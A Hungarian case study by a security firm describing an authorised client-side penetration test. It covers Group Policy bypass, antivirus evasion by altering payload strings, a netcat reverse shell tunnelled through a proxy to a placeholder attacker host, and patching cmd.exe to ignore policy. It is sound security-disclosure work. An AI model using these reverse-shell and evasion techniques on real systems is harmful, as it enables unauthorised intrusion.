SILENT SIGNAL
VÉSZJELZÉS HELYETT...

Tanulmány egy kliens oldali támadásról

1. Bevezető

A Silent Signal szakértői egy etikus hackelési projekt során azzal a feladattal szembesültek, hogy a megbízó irodai környezetében található kliens számítógépekhez kellett hozzáférést szerezniük. A hálózat topológiája és egyéb megkötések miatt a feladat sikeres megoldását követően úgy éreztük, érdemes közzétenni valamit abból a tapasztalatból, melyet a projekt során gyűjtöttünk, így jött létre ez a tanulmány. Természetesen a megbízáshoz kapcsolódó szerződésekkel összhangban e dokumentum nem tartalmazza a megbízó nevét, a bizalmas információk pedig eltávolításra illetve megváltoztatásra kerültek.

2. Hálózat

Az általunk „kezelésbe vett” számítógép az Internettel nem állt közvetlen kapcsolatban, az általunk próbált TCP, UDP és ICMP csomagok egyike sem jutott a céges hálózaton kívülre. Már ennek a ténynek a megismeréséhez is apró trükköt kellett alkalmazni, ugyanis csoportházirend használatával tiltva volt a parancssor, a regisztrációs adatbázis szerkesztő és még egy sor program futása. Fontos azonban megjegyezni, hogy ezek a letiltások *advisory* jellegűek, azaz a háttérben mindössze egy Registry bejegyzés kerül beállításra, melyet az adott eszközök kiolvasnak, így például attól hogy a regisztrációs adatbázis szerkesztő nem érhető el, a felhasználó nevében futó folyamatok elérhetik a Registry-t.

Ezzel párhuzamot vonva a parancssor letiltásától függetlenül az automatikusan elindul, amennyiben a felhasználó olyan programot indít el, mely konzolt igényel – ilyenek például a bat kiterjesztésű *batch* fájlok, melyek ugyan a DOS világában élték fénykorukat, de a Windows legendás visszafelé kompatibilitása miatt ma is használhatók. Így elég tehát létrehozni bárhol egy megfelelő kiterjesztéssel rendelkező fájlt jegyzettömbbel, majd duplán kattintva rá a benne felsorolt parancsok lefutnak egy parancssor ablakban.

Ilyen fájlokat használva az első „akadályt” átlépve kiderítettük, hogy az Internet felé nem tudunk „csak úgy” csomagokat küldeni. Ennek ellenére azonban a telepített Internet Explorer böngésző képes volt webes tartalmakat elérni – erre a legtöbb szakmabeli reflexből rávágja, hogy proxy szerver van a hálózatban. Ennek címét azonban ismét nem lehetett a triviális úton kideríteni, ugyanis a csoportházirend tiltotta a böngésző beállításainak megnyitását is. Mivel azonban már képesek voltunk parancssort használni, így a *netstat* parancs használatával egy lassabb weboldal betöltése közben meg tudtuk figyelni, mely IP címmel kommunikál a böngésző – ezzel meglett a proxy IP címe és portja.

3. Alkalmazások

A felderítés során megállapítottuk, hogy a böngészőbe épülő egyik pluginnek olyan verziója fut a gépen, mely kódfuttatást tesz lehetővé, amennyiben a felhasználó meglátogat egy speciálisan összeállított weboldalt. A sérülékenységhez már Metasploit modul is elérhető volt, amely elindított egy webszervert, majd a rácsatlakozó klienseknek a sebezhetőséget kihasználó tartalmat

szolgáltatott. A cég informatikai rendszerét azonban több rétegű antivírus szoftver is védte, mely az eredeti, Metasploit által előállított exploitot még a proxy-n való áthaladáskor felismerte.

Az exploit lényegi részét adó ún. „hasznos teherben" (payload) több helyen is előfordult az *exploit* karaktersorozat, próbaképpen a *sed* nevű UNIX eszközzel a bináris tartalomban lecseréltük az összes előfordulását *xxxxxxx*-re, így – korábbi tapasztalataink alapján kialakított előzetes vélekedésünk alapján – a fájl struktúrája csekély eséllyel sérül és a hivatkozások is érvényesek maradnak.

Várakozásainknak megfelelően az exploit valóban továbbra is működőképes maradt, (nézőpont kérdése szerint) elszomorító vagy boldogító módon még az antivírus szűrökön is áthaladva végrehajtódott a gépen. A *VirusTotal* szolgáltatás használatával teszteltük azon antivírus szoftverek arányát amelyek felismerték a tartalomban rejlő kártékony kódot a „komoly transzformáció" előtt és után – siralmas módon a fenti hét, működést nem befolyásoló bájt átírása harmadára csökkentette a sikeres detektálás arányát.

4. Kapcsolat a külvilággal

Eljutottunk tehát oda, hogy sikerült a felhasználó böngészőjét hatalmunk alá keríteni, képesek voltunk tetszőleges kódot futtatni benne – amely egyelőre a szakmában oly kedvelt számológép (calc.exe) elindítása volt. Ez azonban kevésbé meggyőző egy IT vezető – és még kevésbé egy felsővezető – számára, főleg egy valamilyen szinten Internettől szeparált hálózat esetén.

Mivel mindegyikünk rendelkezik OSCP vizsgával, első ötletünk a Metasploit keretrendszerhez kifejlesztett *meterpreter* lett volna, azonban ez a projekt idején még nem rendelkezett olyan lehetőséggel, amellyel a kommunikáció proxy-n keresztül megvalósítható lett volna – arról nem is beszélve, hogy itt is felmerült volna az igény kisebb-nagyobb obfuszkációra az antivírus szoftverek kikerülésére.

Az általunk választott megoldás a *netcat* használata lett, ehhez a *joncraton.org* weboldalról letölthető Windows-os *netcat* portot alakítottuk át, mely az általunk használt Linux rendszereken is lefordítható volt *mingw32* használatával. A fordítás oka kettős volt:

1. A netcat paraméterezése általában parancssori kapcsolók használatával történik, az exploit azonban a payload szerepét betöltő egyetlen végrehajtható (exe) fájlt paraméterek nélkül indította el, így a kódot úgy módosítottuk, hogy indulás után „bedrótozott", fix paramétereket használjon. Ennek megoldása a következőhöz hasonló kódrészlettel történt a C nyelvű programok belépési pontjául szolgáló *main* függvényben:

```
argc = 5;
argv = malloc(sizeof(char*) * argc);
argv[0] = "nc";
argv[1] = "PROXY_CIME";
argv[2] = "PROXY_PORTJA";
argv[3] = "-e";
argv[4] = "SHELL";
```

2. A proxy használata miatt a TCP kapcsolat felépítése és annak a shell program ki- és bemenetével való összekapcsolása között a proxy felé el kellett küldeni a megfelelő HTTP kérést

annak érdekében, hogy a shell már a mi távoli szerverünkhöz kapcsolódjon. A *connect* függvényre való hivatkozást keresve *doconnect* függvény megfelelő pontján a következőhöz hasonló kódot szúrtunk be:

```
char *s2buf;
...
s2buf = "CONNECT tamadocim:tamadoport HTTP/1.1\r\nHost:
   tamadocim\r\n\r\n";
send(nnetfd, s2buf, strlen(s2buf), 0);
```

Mivel ritkán szembesülünk azzal, hogy az ennyire elterjedt – így a legtöbb platformra bináris formában elérhető – netcatet forrásból kell fordítani, így tesztfuttatáskor derült ki az is, hogy a netcat a *GAPING_SECURITY_HOLE* definiálása nélkül nem tartalmazza a programok futtatásához használt -e kapcsolót, így a teljes fordítási parancssor így nézett ki:

```
$ /usr/bin/i586-mingw32msvc-gcc netcat.c -lws2_32 \
  -o nc.exe -DGAPING_SECURITY_HOLE
```

5. Ghost in the shell

Az így létrehozott payload rendben kapcsolódott a szerverünkhöz, azonban rögtön ezután meg is szakította a kapcsolatot, mivel a parancssor – mint már azt említettük – csoportházirendből tiltásra került. Lehetséges alternatíva lehetett volna még a *cmd.exe* helyett a *command.com* használata, de ez más problémákba ütközött, ehelyett úgy döntöttünk, az eredeti parancssort módosítjuk úgy, hogy ne vegye figyelembe a csoportházirend korlátozásait. Ehhez egy fájlmegosztó oldalon keresztül letöltöttük a rendszeren található *cmd.exe* fájlt, majd megkerestük benne azt a Unicode karaktersorozatot, mely az ellenőrzéshez használt Registry kulcsot nevét („DisableCMD”) tartalmazza. Ezt az alább látható módon „DisableCQD”-ra módosítottuk egy hexa szerkesztő segítségével, így a megfelelő kulcs hiányában házirendtől függetlenül elindult a parancssor.

```
08ff 1528 10d2 4ae9  5605 ffff 4400 6900  |  ...(..J.V...D.i.
7300 6100 6200 6c00  6500 4300 5100 4400  |  s.a.b.l.e.C.Q.D.
```

Ezután már csak egy feladat maradt hátra: a módosított shell gépre juttatása az exploit „hátán”. Az exploit logikájának bolygatása helyett az egyszerűbb, „hackelős” megoldást választottuk, és a már amúgy is általunk fordított nc.exe fájlba helyeztük el a shellt. Ehhez írtunk egy egyszerű Python szkriptet, mely egy tetszőleges bináris fájlt szabvány C *fwrite* hívások sorozatává alakít át, majd az így kapott fájlt egybefordítottuk a netcat forrásával, az ily módon „felhízlalt” netcat indulás előtt egy, a felhasználó számára is írható ideiglenes könyvtárba először kiírta a módosított cmd.exe-t, majd a proxyt közvetlen kapcsolódásra „kérve” összekötötte a támadó gépét a shell programmal.